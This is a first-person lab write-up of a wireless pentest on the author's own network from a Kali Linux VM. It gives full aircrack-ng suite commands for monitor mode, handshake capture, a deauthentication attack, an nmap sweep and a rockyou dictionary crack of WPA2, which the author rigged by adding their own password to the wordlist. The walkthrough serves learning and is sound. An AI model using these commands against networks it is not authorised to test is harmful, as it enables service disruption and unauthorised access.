**Wireless Network Scan and Pentest in Kali Linux VM**

**Steps:**

1. I installed Kali Linux VM in VM Workstation
2. I installed an Alfa wireless network adapter in Kali Linux with the commands

A screenshot of a computer

AI-generated content may be incorrect.

1. I used “**iwconfig**” to verify the adapter was recognized by the VM
2. I killed conflicting processes with “**Sudo airmon-ng check kill**” command
3. I put the wireless adapter into monitor mode with the “**sudo airmon-ng start wlan0**” command
4. I viewed the networks and connected stations with the “**airodump-ng wlan0mon”** command

**A screenshot of a computer

AI-generated content may be incorrect.**

1. I started capturing packets on my network with **“sudo airodump-ng -c 1 -w <my ESSID> --bssid <my BSSID> wlan0mon**” command

A screen shot of a computer

AI-generated content may be incorrect.

1. I scanned my network for connected devices with NMAP – **nmap -sn 192.168.0.0/24**

A computer screen shot of a computer program

AI-generated content may be incorrect.

1. I performed a de-authentication attack with command “**sudo aireplay-ng --deauth 4 -a <my BSSID> wlan0mon”.** I ran the packet capture until it said it found the “wpa handshake”.
2. I decompressed the rockyou password file with the command **“gunzip /usr/share/wordlists/rockyou.gz.txt”.**
3. I used grep to see whether my Wi-Fi network’s password was listed in the rockyou.txt file to save aircrack-ng time. Since my Wi-Fi network’s password is long and mixed characters, I added my password to the file so I would be able to simulate a successful password crack.
4. I used the updated rockypu.txt file to find the WPA2 password with the command “**sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <my BSSID>** and it correctly identified my Wi-Fi password

**A screenshot of a computer

AI-generated content may be incorrect.**